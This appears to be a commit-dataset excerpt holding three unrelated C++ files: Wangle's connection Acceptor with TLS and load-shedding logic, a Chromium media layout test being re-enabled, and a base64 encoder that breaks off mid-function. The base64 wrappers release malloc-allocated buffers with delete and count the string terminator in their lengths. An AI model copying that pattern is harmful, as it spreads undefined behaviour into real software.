auto totalConnLimit = loadShedConfig_.getMaxConnections();\n const auto activeConnCount = getActiveConnectionCountForLoadShedding();\n const auto totalConnCount = getConnectionCountForLoadShedding();\n\n bool activeConnExceeded =\n (activeConnLimit > 0) && (activeConnCount >= activeConnLimit);\n bool totalConnExceeded =\n (totalConnLimit > 0) && (totalConnCount >= totalConnLimit);\n if (!activeConnExceeded && !totalConnExceeded) {\n return true;\n }\n\n VLOG(4) << address.describe() << \" not whitelisted\";\n return false;\n}\n\nvoid\nAcceptor::connectionAccepted(\n int fd, const SocketAddress& clientAddr) noexcept {\n if (!canAccept(clientAddr)) {\n \/\/ Send a RST to free kernel memory faster\n struct linger optLinger = {1, 0};\n ::setsockopt(fd, SOL_SOCKET, SO_LINGER, &optLinger, sizeof(optLinger));\n close(fd);\n return;\n }\n auto acceptTime = std::chrono::steady_clock::now();\n for (const auto& opt: socketOptions_) {\n opt.first.apply(fd, opt.second);\n }\n\n onDoneAcceptingConnection(fd, clientAddr, acceptTime);\n}\n\nvoid Acceptor::onDoneAcceptingConnection(\n int fd,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime) noexcept {\n TransportInfo tinfo;\n processEstablishedConnection(fd, clientAddr, acceptTime, tinfo);\n}\n\nvoid\nAcceptor::processEstablishedConnection(\n int fd,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime,\n TransportInfo& tinfo) noexcept {\n bool shouldDoSSL = false;\n if (accConfig_.isSSL()) {\n CHECK(sslCtxManager_);\n shouldDoSSL = sslCtxManager_->getDefaultSSLCtx() != nullptr;\n }\n if (shouldDoSSL) {\n AsyncSSLSocket::UniquePtr sslSock(\n makeNewAsyncSSLSocket(\n sslCtxManager_->getDefaultSSLCtx(), base_, fd));\n ++numPendingSSLConns_;\n ++totalNumPendingSSLConns_;\n if (numPendingSSLConns_ > accConfig_.maxConcurrentSSLHandshakes) {\n VLOG(2) << \"dropped SSL handshake on \" << accConfig_.name <<\n \" too many handshakes in progress\";\n auto error = SSLErrorEnum::DROPPED;\n auto latency = std::chrono::milliseconds(0);\n updateSSLStats(sslSock.get(), latency, error);\n auto ex = folly::make_exception_wrapper<SSLException>(\n error, latency, sslSock->getRawBytesReceived());\n sslConnectionError(ex);\n return;\n }\n startHandshakeManager(\n std::move(sslSock),\n this,\n clientAddr,\n acceptTime,\n tinfo);\n } else {\n tinfo.secure = false;\n tinfo.acceptTime = acceptTime;\n AsyncSocket::UniquePtr sock(makeNewAsyncSocket(base_, fd));\n plaintextConnectionReady(\n std::move(sock),\n clientAddr,\n empty_string,\n SecureTransportType::NONE,\n tinfo);\n }\n}\n\nvoid Acceptor::startHandshakeManager(\n AsyncSSLSocket::UniquePtr sslSock,\n Acceptor* acceptor,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime,\n TransportInfo& tinfo) noexcept {\n auto manager = securityProtocolCtxManager_.getHandshakeManager(\n this, clientAddr, acceptTime, tinfo);\n manager->start(std::move(sslSock));\n}\n\nvoid\nAcceptor::connectionReady(\n AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocolName,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n \/\/ Limit the number of reads from the socket per poll loop iteration,\n \/\/ both to keep memory usage under control and to prevent one fast-\n \/\/ writing client from starving other connections.\n auto asyncSocket = sock->getUnderlyingTransport<AsyncSocket>();\n asyncSocket->setMaxReadsPerEvent(16);\n tinfo.initWithSocket(asyncSocket);\n onNewConnection(\n std::move(sock),\n &clientAddr,\n nextProtocolName,\n secureTransportType,\n tinfo);\n}\n\nvoid Acceptor::plaintextConnectionReady(\n AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocolName,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n connectionReady(\n std::move(sock),\n clientAddr,\n nextProtocolName,\n secureTransportType,\n tinfo);\n}\n\nvoid\nAcceptor::sslConnectionReady(AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocol,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n CHECK(numPendingSSLConns_ > 0);\n --numPendingSSLConns_;\n --totalNumPendingSSLConns_;\n connectionReady(\n std::move(sock),\n clientAddr,\n nextProtocol,\n secureTransportType,\n tinfo);\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid Acceptor::sslConnectionError(const folly::exception_wrapper& ex) {\n CHECK(numPendingSSLConns_ > 0);\n --numPendingSSLConns_;\n --totalNumPendingSSLConns_;\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid\nAcceptor::acceptError(const std::exception& ex) noexcept {\n \/\/ An error occurred.\n \/\/ The most likely error is out of FDs. AsyncServerSocket will back off\n \/\/ briefly if we are out of FDs, then continue accepting later.\n \/\/ Just log a message here.\n LOG(ERROR) << \"error accepting on acceptor socket: \" << ex.what();\n}\n\nvoid\nAcceptor::acceptStopped() noexcept {\n VLOG(3) << \"Acceptor \" << this << \" acceptStopped()\";\n \/\/ Drain the open client connections\n drainAllConnections();\n\n \/\/ If we haven't yet finished draining, begin doing so by marking ourselves\n \/\/ as in the draining state. We must be sure to hit checkDrained() here, as\n \/\/ if we're completely idle, we can should consider ourself drained\n \/\/ immediately (as there is no outstanding work to complete to cause us to\n \/\/ re-evaluate this).\n if (state_ != State::kDone) {\n state_ = State::kDraining;\n checkDrained();\n }\n}\n\nvoid\nAcceptor::onEmpty(const ConnectionManager& cm) {\n VLOG(3) << \"Acceptor=\" << this << \" onEmpty()\";\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid\nAcceptor::checkDrained() {\n CHECK(state_ == State::kDraining);\n if (forceShutdownInProgress_ ||\n (downstreamConnectionManager_->getNumConnections() != 0) ||\n (numPendingSSLConns_ != 0)) {\n return;\n }\n\n VLOG(2) << \"All connections drained from Acceptor=\" << this << \" in thread \"\n << base_;\n\n downstreamConnectionManager_.reset();\n\n state_ = State::kDone;\n\n onConnectionsDrained();\n}\n\nvoid\nAcceptor::drainConnections(double pctToDrain) {\n if (downstreamConnectionManager_) {\n VLOG(3) << \"Dropping \" << pctToDrain * 100 << \"% of \"\n << getNumConnections() << \" connections from Acceptor=\" << this\n << \" in thread \" << base_;\n assert(base_->isInEventBaseThread());\n downstreamConnectionManager_->\n drainConnections(pctToDrain, gracefulShutdownTimeout_);\n }\n}\n\nmilliseconds\nAcceptor::getConnTimeout() const {\n return accConfig_.connectionIdleTimeout;\n}\n\nvoid Acceptor::addConnection(ManagedConnection* conn) {\n \/\/ Add the socket to the timeout manager so that it can be cleaned\n \/\/ up after being left idle for a long time.\n downstreamConnectionManager_->addConnection(conn, true);\n}\n\nvoid\nAcceptor::forceStop() {\n base_->runInEventBaseThread([&] { dropAllConnections(); });\n}\n\nvoid\nAcceptor::dropAllConnections() {\n if (downstreamConnectionManager_) {\n VLOG(3) << \"Dropping all connections from Acceptor=\" << this <<\n \" in thread \" << base_;\n assert(base_->isInEventBaseThread());\n forceShutdownInProgress_ = true;\n downstreamConnectionManager_->dropAllConnections();\n CHECK(downstreamConnectionManager_->getNumConnections() == 0);\n downstreamConnectionManager_.reset();\n }\n CHECK(numPendingSSLConns_ == 0);\n\n state_ = State::kDone;\n onConnectionsDrained();\n}\n\n} \/\/ namespace wangle\n<commit_msg>Change config validation<commit_after>\/*\n * Copyright (c) 2016, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#include <wangle\/acceptor\/Acceptor.h>\n\n#include <wangle\/acceptor\/ManagedConnection.h>\n#include <wangle\/ssl\/SSLContextManager.h>\n#include <wangle\/acceptor\/AcceptorHandshakeManager.h>\n#include <wangle\/acceptor\/SecurityProtocolContextManager.h>\n#include <fcntl.h>\n#include <folly\/ScopeGuard.h>\n#include <folly\/io\/async\/EventBase.h>\n#include <fstream>\n#include <sys\/types.h>\n#include <folly\/io\/async\/AsyncSSLSocket.h>\n#include <folly\/io\/async\/AsyncSocket.h>\n#include <folly\/portability\/Sockets.h>\n#include <folly\/portability\/Unistd.h>\n#include <gflags\/gflags.h>\n\nusing folly::AsyncSocket;\nusing folly::AsyncSSLSocket;\nusing folly::AsyncSocketException;\nusing folly::AsyncServerSocket;\nusing folly::AsyncTransportWrapper;\nusing folly::EventBase;\nusing folly::SocketAddress;\nusing std::chrono::microseconds;\nusing std::chrono::milliseconds;\nusing std::filebuf;\nusing std::ifstream;\nusing std::ios;\nusing std::shared_ptr;\nusing std::string;\n\nnamespace wangle {\n\nstatic const std::string empty_string;\nstd::atomic<uint64_t> Acceptor::totalNumPendingSSLConns_{0};\n\nAcceptor::Acceptor(const ServerSocketConfig& accConfig) :\n accConfig_(accConfig),\n socketOptions_(accConfig.getSocketOptions()) {\n}\n\nvoid\nAcceptor::init(AsyncServerSocket* serverSocket,\n EventBase* eventBase,\n SSLStats* stats) {\n CHECK(nullptr == this->base_ || eventBase == this->base_);\n\n if (accConfig_.isSSL()) {\n if (accConfig_.allowInsecureConnectionsOnSecureServer) {\n securityProtocolCtxManager_.addPeeker(&tlsPlaintextPeekingCallback_);\n }\n securityProtocolCtxManager_.addPeeker(&defaultPeekingCallback_);\n\n if (!sslCtxManager_) {\n sslCtxManager_ = folly::make_unique<SSLContextManager>(\n eventBase,\n \"vip_\" + getName(),\n accConfig_.strictSSL, stats);\n }\n try {\n for (const auto& sslCtxConfig : accConfig_.sslContextConfigs) {\n sslCtxManager_->addSSLContextConfig(\n sslCtxConfig,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n parseClientHello_ |= sslCtxConfig.clientHelloParsingEnabled;\n }\n\n CHECK(sslCtxManager_->getDefaultSSLCtx());\n } catch (const std::runtime_error& ex) {\n sslCtxManager_->clear();\n \/\/ This is not a Not a fatal error, but useful to know.\n LOG(INFO) << \"Failed to configure TLS. This is not a fatal error. \"\n << ex.what();\n }\n }\n base_ = eventBase;\n state_ = State::kRunning;\n downstreamConnectionManager_ = ConnectionManager::makeUnique(\n eventBase, accConfig_.connectionIdleTimeout, this);\n\n if (serverSocket) {\n serverSocket->addAcceptCallback(this, eventBase);\n\n for (auto& fd : serverSocket->getSockets()) {\n if (fd < 0) {\n continue;\n }\n for (const auto& opt: socketOptions_) {\n opt.first.apply(fd, opt.second);\n }\n }\n }\n}\n\nvoid Acceptor::resetSSLContextConfigs() {\n try {\n sslCtxManager_->resetSSLContextConfigs(accConfig_.sslContextConfigs,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n } catch (const std::runtime_error& ex) {\n LOG(ERROR) << \"Failed to re-configure TLS: \"\n << ex.what()\n << \"will keep old config\";\n }\n\n}\n\nAcceptor::~Acceptor(void) {\n}\n\nvoid Acceptor::addSSLContextConfig(const SSLContextConfig& sslCtxConfig) {\n sslCtxManager_->addSSLContextConfig(sslCtxConfig,\n accConfig_.sslCacheOptions,\n &accConfig_.initialTicketSeeds,\n accConfig_.bindAddress,\n cacheProvider_);\n}\n\nvoid\nAcceptor::drainAllConnections() {\n if (downstreamConnectionManager_) {\n downstreamConnectionManager_->initiateGracefulShutdown(\n gracefulShutdownTimeout_);\n }\n}\n\nvoid Acceptor::setLoadShedConfig(const LoadShedConfiguration& from,\n IConnectionCounter* counter) {\n loadShedConfig_ = from;\n connectionCounter_ = counter;\n}\n\nbool Acceptor::canAccept(const SocketAddress& address) {\n if (!connectionCounter_) {\n return true;\n }\n\n uint64_t maxConnections = connectionCounter_->getMaxConnections();\n if (maxConnections == 0) {\n return true;\n }\n\n uint64_t currentConnections = connectionCounter_->getNumConnections();\n if (currentConnections < maxConnections) {\n return true;\n }\n\n if (loadShedConfig_.isWhitelisted(address)) {\n return true;\n }\n\n \/\/ Take care of the connection counts across all acceptors.\n \/\/ Expensive since a lock must be taken to get the counter.\n const auto activeConnLimit = loadShedConfig_.getMaxActiveConnections();\n const auto totalConnLimit = loadShedConfig_.getMaxConnections();\n const auto activeConnCount = getActiveConnectionCountForLoadShedding();\n const auto totalConnCount = getConnectionCountForLoadShedding();\n\n bool activeConnExceeded =\n (activeConnLimit > 0) && (activeConnCount >= activeConnLimit);\n bool totalConnExceeded =\n (totalConnLimit > 0) && (totalConnCount >= totalConnLimit);\n if (!activeConnExceeded && !totalConnExceeded) {\n return true;\n }\n\n VLOG(4) << address.describe() << \" not whitelisted\";\n return false;\n}\n\nvoid\nAcceptor::connectionAccepted(\n int fd, const SocketAddress& clientAddr) noexcept {\n if (!canAccept(clientAddr)) {\n \/\/ Send a RST to free kernel memory faster\n struct linger optLinger = {1, 0};\n ::setsockopt(fd, SOL_SOCKET, SO_LINGER, &optLinger, sizeof(optLinger));\n close(fd);\n return;\n }\n auto acceptTime = std::chrono::steady_clock::now();\n for (const auto& opt: socketOptions_) {\n opt.first.apply(fd, opt.second);\n }\n\n onDoneAcceptingConnection(fd, clientAddr, acceptTime);\n}\n\nvoid Acceptor::onDoneAcceptingConnection(\n int fd,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime) noexcept {\n TransportInfo tinfo;\n processEstablishedConnection(fd, clientAddr, acceptTime, tinfo);\n}\n\nvoid\nAcceptor::processEstablishedConnection(\n int fd,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime,\n TransportInfo& tinfo) noexcept {\n bool shouldDoSSL = false;\n if (accConfig_.isSSL()) {\n CHECK(sslCtxManager_);\n shouldDoSSL = sslCtxManager_->getDefaultSSLCtx() != nullptr;\n }\n if (shouldDoSSL) {\n AsyncSSLSocket::UniquePtr sslSock(\n makeNewAsyncSSLSocket(\n sslCtxManager_->getDefaultSSLCtx(), base_, fd));\n ++numPendingSSLConns_;\n ++totalNumPendingSSLConns_;\n if (numPendingSSLConns_ > accConfig_.maxConcurrentSSLHandshakes) {\n VLOG(2) << \"dropped SSL handshake on \" << accConfig_.name <<\n \" too many handshakes in progress\";\n auto error = SSLErrorEnum::DROPPED;\n auto latency = std::chrono::milliseconds(0);\n updateSSLStats(sslSock.get(), latency, error);\n auto ex = folly::make_exception_wrapper<SSLException>(\n error, latency, sslSock->getRawBytesReceived());\n sslConnectionError(ex);\n return;\n }\n startHandshakeManager(\n std::move(sslSock),\n this,\n clientAddr,\n acceptTime,\n tinfo);\n } else {\n tinfo.secure = false;\n tinfo.acceptTime = acceptTime;\n AsyncSocket::UniquePtr sock(makeNewAsyncSocket(base_, fd));\n plaintextConnectionReady(\n std::move(sock),\n clientAddr,\n empty_string,\n SecureTransportType::NONE,\n tinfo);\n }\n}\n\nvoid Acceptor::startHandshakeManager(\n AsyncSSLSocket::UniquePtr sslSock,\n Acceptor* acceptor,\n const SocketAddress& clientAddr,\n std::chrono::steady_clock::time_point acceptTime,\n TransportInfo& tinfo) noexcept {\n auto manager = securityProtocolCtxManager_.getHandshakeManager(\n this, clientAddr, acceptTime, tinfo);\n manager->start(std::move(sslSock));\n}\n\nvoid\nAcceptor::connectionReady(\n AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocolName,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n \/\/ Limit the number of reads from the socket per poll loop iteration,\n \/\/ both to keep memory usage under control and to prevent one fast-\n \/\/ writing client from starving other connections.\n auto asyncSocket = sock->getUnderlyingTransport<AsyncSocket>();\n asyncSocket->setMaxReadsPerEvent(16);\n tinfo.initWithSocket(asyncSocket);\n onNewConnection(\n std::move(sock),\n &clientAddr,\n nextProtocolName,\n secureTransportType,\n tinfo);\n}\n\nvoid Acceptor::plaintextConnectionReady(\n AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocolName,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n connectionReady(\n std::move(sock),\n clientAddr,\n nextProtocolName,\n secureTransportType,\n tinfo);\n}\n\nvoid\nAcceptor::sslConnectionReady(AsyncTransportWrapper::UniquePtr sock,\n const SocketAddress& clientAddr,\n const string& nextProtocol,\n SecureTransportType secureTransportType,\n TransportInfo& tinfo) {\n CHECK(numPendingSSLConns_ > 0);\n --numPendingSSLConns_;\n --totalNumPendingSSLConns_;\n connectionReady(\n std::move(sock),\n clientAddr,\n nextProtocol,\n secureTransportType,\n tinfo);\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid Acceptor::sslConnectionError(const folly::exception_wrapper& ex) {\n CHECK(numPendingSSLConns_ > 0);\n --numPendingSSLConns_;\n --totalNumPendingSSLConns_;\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid\nAcceptor::acceptError(const std::exception& ex) noexcept {\n \/\/ An error occurred.\n \/\/ The most likely error is out of FDs. AsyncServerSocket will back off\n \/\/ briefly if we are out of FDs, then continue accepting later.\n \/\/ Just log a message here.\n LOG(ERROR) << \"error accepting on acceptor socket: \" << ex.what();\n}\n\nvoid\nAcceptor::acceptStopped() noexcept {\n VLOG(3) << \"Acceptor \" << this << \" acceptStopped()\";\n \/\/ Drain the open client connections\n drainAllConnections();\n\n \/\/ If we haven't yet finished draining, begin doing so by marking ourselves\n \/\/ as in the draining state. We must be sure to hit checkDrained() here, as\n \/\/ if we're completely idle, we can should consider ourself drained\n \/\/ immediately (as there is no outstanding work to complete to cause us to\n \/\/ re-evaluate this).\n if (state_ != State::kDone) {\n state_ = State::kDraining;\n checkDrained();\n }\n}\n\nvoid\nAcceptor::onEmpty(const ConnectionManager& cm) {\n VLOG(3) << \"Acceptor=\" << this << \" onEmpty()\";\n if (state_ == State::kDraining) {\n checkDrained();\n }\n}\n\nvoid\nAcceptor::checkDrained() {\n CHECK(state_ == State::kDraining);\n if (forceShutdownInProgress_ ||\n (downstreamConnectionManager_->getNumConnections() != 0) ||\n (numPendingSSLConns_ != 0)) {\n return;\n }\n\n VLOG(2) << \"All connections drained from Acceptor=\" << this << \" in thread \"\n << base_;\n\n downstreamConnectionManager_.reset();\n\n state_ = State::kDone;\n\n onConnectionsDrained();\n}\n\nvoid\nAcceptor::drainConnections(double pctToDrain) {\n if (downstreamConnectionManager_) {\n VLOG(3) << \"Dropping \" << pctToDrain * 100 << \"% of \"\n << getNumConnections() << \" connections from Acceptor=\" << this\n << \" in thread \" << base_;\n assert(base_->isInEventBaseThread());\n downstreamConnectionManager_->\n drainConnections(pctToDrain, gracefulShutdownTimeout_);\n }\n}\n\nmilliseconds\nAcceptor::getConnTimeout() const {\n return accConfig_.connectionIdleTimeout;\n}\n\nvoid Acceptor::addConnection(ManagedConnection* conn) {\n \/\/ Add the socket to the timeout manager so that it can be cleaned\n \/\/ up after being left idle for a long time.\n downstreamConnectionManager_->addConnection(conn, true);\n}\n\nvoid\nAcceptor::forceStop() {\n base_->runInEventBaseThread([&] { dropAllConnections(); });\n}\n\nvoid\nAcceptor::dropAllConnections() {\n if (downstreamConnectionManager_) {\n VLOG(3) << \"Dropping all connections from Acceptor=\" << this <<\n \" in thread \" << base_;\n assert(base_->isInEventBaseThread());\n forceShutdownInProgress_ = true;\n downstreamConnectionManager_->dropAllConnections();\n CHECK(downstreamConnectionManager_->getNumConnections() == 0);\n downstreamConnectionManager_.reset();\n }\n CHECK(numPendingSSLConns_ == 0);\n\n state_ = State::kDone;\n onConnectionsDrained();\n}\n\n} \/\/ namespace wangle\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"app\/gfx\/gl\/gl_implementation.h\"\n#include \"base\/basictypes.h\"\n#include \"base\/file_path.h\"\n#include \"base\/string_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/threading\/platform_thread.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/test_launcher_utils.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n\nclass MediaTest : public UITest {\n protected:\n virtual void SetUp() {\n EXPECT_TRUE(test_launcher_utils::OverrideGLImplementation(\n &launch_arguments_,\n gfx::kGLImplementationOSMesaName));\n\n#if defined(OS_MACOSX)\n \/\/ Accelerated compositing does not work with OSMesa. AcceleratedSurface\n \/\/ assumes GL contexts are native.\n launch_arguments_.AppendSwitch(switches::kDisableAcceleratedCompositing);\n#endif\n\n UITest::SetUp();\n }\n\n void PlayMedia(const char* tag, const char* media_file) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"media\/player.html\");\n\n GURL player_gurl = net::FilePathToFileURL(test_file);\n std::string url = StringPrintf(\"%s?%s=%s\",\n player_gurl.spec().c_str(),\n tag,\n media_file);\n\n NavigateToURL(GURL(url));\n\n \/\/ Allow the media file to be loaded.\n const std::wstring kPlaying = L\"PLAYING\";\n const std::wstring kFailed = L\"FAILED\";\n const std::wstring kError = L\"ERROR\";\n for (int i = 0; i < 10; ++i) {\n base::PlatformThread::Sleep(TestTimeouts::action_timeout_ms());\n const std::wstring& title = GetActiveTabTitle();\n if (title == kPlaying || title == kFailed ||\n StartsWith(title, kError, true))\n break;\n }\n\n EXPECT_EQ(kPlaying, GetActiveTabTitle());\n }\n\n void PlayAudio(const char* url) {\n PlayMedia(\"audio\", url);\n }\n\n void PlayVideo(const char* url) {\n PlayMedia(\"video\", url);\n }\n};\n\nTEST_F(MediaTest, VideoBearTheora) {\n PlayVideo(\"bear.ogv\");\n}\n\nTEST_F(MediaTest, VideoBearSilentTheora) {\n PlayVideo(\"bear_silent.ogv\");\n}\n\nTEST_F(MediaTest, VideoBearWebm) {\n PlayVideo(\"bear.webm\");\n}\n\nTEST_F(MediaTest, VideoBearSilentWebm) {\n PlayVideo(\"bear_silent.webm\");\n}\n\n#if defined(GOOGLE_CHROME_BUILD) || defined(USE_PROPRIETARY_CODECS)\nTEST_F(MediaTest, VideoBearMp4) {\n PlayVideo(\"bear.mp4\");\n}\n\nTEST_F(MediaTest, VideoBearSilentMp4) {\n PlayVideo(\"bear_silent.mp4\");\n}\n#endif\n\nTEST_F(MediaTest, VideoBearWav) {\n PlayVideo(\"bear.wav\");\n}\n\n\/\/ See crbug\/73287.\nTEST_F(UILayoutTest, FAILS_MediaUILayoutTest) {\n static const char* kResources[] = {\n \"content\",\n \"media-file.js\",\n \"media-fullscreen.js\",\n \"video-paint-test.js\",\n \"video-played.js\",\n \"video-test.js\",\n };\n\n static const char* kMediaTests[] = {\n \"video-autoplay.html\",\n \/\/ \"video-loop.html\", disabled due to 52887.\n \"video-no-autoplay.html\",\n \/\/ TODO(sergeyu): Add more tests here.\n };\n\n FilePath test_dir;\n FilePath media_test_dir;\n media_test_dir = media_test_dir.AppendASCII(\"media\");\n InitializeForLayoutTest(test_dir, media_test_dir, kNoHttpPort);\n\n \/\/ Copy resources first.\n for (size_t i = 0; i < arraysize(kResources); ++i)\n AddResourceForLayoutTest(\n test_dir, media_test_dir.AppendASCII(kResources[i]));\n\n for (size_t i = 0; i < arraysize(kMediaTests); ++i)\n RunLayoutTest(kMediaTests[i], kNoHttpPort);\n}\n<commit_msg>Re-enable UILayoutTest.MediaUILayoutTest<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"app\/gfx\/gl\/gl_implementation.h\"\n#include \"base\/basictypes.h\"\n#include \"base\/file_path.h\"\n#include \"base\/string_util.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/threading\/platform_thread.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/test_launcher_utils.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"net\/base\/net_util.h\"\n\nclass MediaTest : public UITest {\n protected:\n virtual void SetUp() {\n EXPECT_TRUE(test_launcher_utils::OverrideGLImplementation(\n &launch_arguments_,\n gfx::kGLImplementationOSMesaName));\n\n#if defined(OS_MACOSX)\n \/\/ Accelerated compositing does not work with OSMesa. AcceleratedSurface\n \/\/ assumes GL contexts are native.\n launch_arguments_.AppendSwitch(switches::kDisableAcceleratedCompositing);\n#endif\n\n UITest::SetUp();\n }\n\n void PlayMedia(const char* tag, const char* media_file) {\n FilePath test_file(test_data_directory_);\n test_file = test_file.AppendASCII(\"media\/player.html\");\n\n GURL player_gurl = net::FilePathToFileURL(test_file);\n std::string url = StringPrintf(\"%s?%s=%s\",\n player_gurl.spec().c_str(),\n tag,\n media_file);\n\n NavigateToURL(GURL(url));\n\n \/\/ Allow the media file to be loaded.\n const std::wstring kPlaying = L\"PLAYING\";\n const std::wstring kFailed = L\"FAILED\";\n const std::wstring kError = L\"ERROR\";\n for (int i = 0; i < 10; ++i) {\n base::PlatformThread::Sleep(TestTimeouts::action_timeout_ms());\n const std::wstring& title = GetActiveTabTitle();\n if (title == kPlaying || title == kFailed ||\n StartsWith(title, kError, true))\n break;\n }\n\n EXPECT_EQ(kPlaying, GetActiveTabTitle());\n }\n\n void PlayAudio(const char* url) {\n PlayMedia(\"audio\", url);\n }\n\n void PlayVideo(const char* url) {\n PlayMedia(\"video\", url);\n }\n};\n\nTEST_F(MediaTest, VideoBearTheora) {\n PlayVideo(\"bear.ogv\");\n}\n\nTEST_F(MediaTest, VideoBearSilentTheora) {\n PlayVideo(\"bear_silent.ogv\");\n}\n\nTEST_F(MediaTest, VideoBearWebm) {\n PlayVideo(\"bear.webm\");\n}\n\nTEST_F(MediaTest, VideoBearSilentWebm) {\n PlayVideo(\"bear_silent.webm\");\n}\n\n#if defined(GOOGLE_CHROME_BUILD) || defined(USE_PROPRIETARY_CODECS)\nTEST_F(MediaTest, VideoBearMp4) {\n PlayVideo(\"bear.mp4\");\n}\n\nTEST_F(MediaTest, VideoBearSilentMp4) {\n PlayVideo(\"bear_silent.mp4\");\n}\n#endif\n\nTEST_F(MediaTest, VideoBearWav) {\n PlayVideo(\"bear.wav\");\n}\n\nTEST_F(UILayoutTest, MediaUILayoutTest) {\n static const char* kResources[] = {\n \"content\",\n \"media-file.js\",\n \"media-fullscreen.js\",\n \"video-paint-test.js\",\n \"video-played.js\",\n \"video-test.js\",\n };\n\n static const char* kMediaTests[] = {\n \"video-autoplay.html\",\n \/\/ \"video-loop.html\", disabled due to 52887.\n \"video-no-autoplay.html\",\n \/\/ TODO(sergeyu): Add more tests here.\n };\n\n FilePath test_dir;\n FilePath media_test_dir;\n media_test_dir = media_test_dir.AppendASCII(\"media\");\n InitializeForLayoutTest(test_dir, media_test_dir, kNoHttpPort);\n\n \/\/ Copy resources first.\n for (size_t i = 0; i < arraysize(kResources); ++i)\n AddResourceForLayoutTest(\n test_dir, media_test_dir.AppendASCII(kResources[i]));\n\n for (size_t i = 0; i < arraysize(kMediaTests); ++i)\n RunLayoutTest(kMediaTests[i], kNoHttpPort);\n}\n<|endoftext|>"} {"text":"<commit_before>\n\n#include \"base64.h\"\n#include <iostream>\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <stdlib.h>\n\n\nstatic char encoding_table[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1', '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '\/'};\nstatic int mod_table[] = {0, 2, 1};\n\n\n\nvoid b64::build_decoding_table() {\n\n this->decoding_table = (char *) malloc(256);\n\n for (int i = 0; i < 64; i++)\n this->decoding_table[(unsigned char) encoding_table[i]] = i;\n}\n\nvoid b64::base64_cleanup() {\n free(this->decoding_table);\n}\n\nb64::b64(){ \/\/c'tor\n build_decoding_table();\n}\n\nb64::~b64(){ \/\/d'tor\n base64_cleanup();\n}\n\n\n\n\nstd::string b64::base64_encode(std::string src_str){\n \/\/Public interface \n unsigned int dst_len = 0;\n char * dst_data = base64_encode((const unsigned char *)src_str.c_str(), src_str.size()+1, &dst_len);\n\n std::string ret(dst_data, dst_len);\n delete dst_data;\n\n return ret;\n}\n\nstd::string b64::base64_decode(std::string src_str){\n \/\/Public interface\n unsigned int dst_len = 0;\n unsigned char * dst_data = base64_decode(src_str.c_str(), src_str.size()+1, &dst_len);\n\n std::string ret((char*)dst_data, dst_len);\n delete dst_data;\n\n return ret;\n}\n\nstd::string b64::base64_encode(unsigned char const* src_data, unsigned int src_len){\n \/\/Public interface\n \n unsigned int dst_len = 0;\n char * dst_data = base64_encode(src_data, src_len, &dst_len);\n\n std::string ret(dst_data, dst_len);\n delete dst_data;\n\n return ret;\n}\n\nstd::string b64::base64_decode(char const* src_data, unsigned int src_len){\n \/\/Public interface\n\n unsigned int dst_len = 0;\n unsigned char * dst_data = base64_decode(src_data, src_len, &dst_len);\n\n std::string ret((char*)dst_data, dst_len);\n delete dst_data;\n\n return ret;\n}\n\n\n\n\nchar * b64::base64_encode(const unsigned char *data,\n unsigned int input_length,\n unsigned int *output_length) {\n\n *output_length = 4 * ((input_length + 2) \/ 3);\n\n char *encoded_data = (char *)malloc(*output_length);\n if (encoded_data == NULL) return 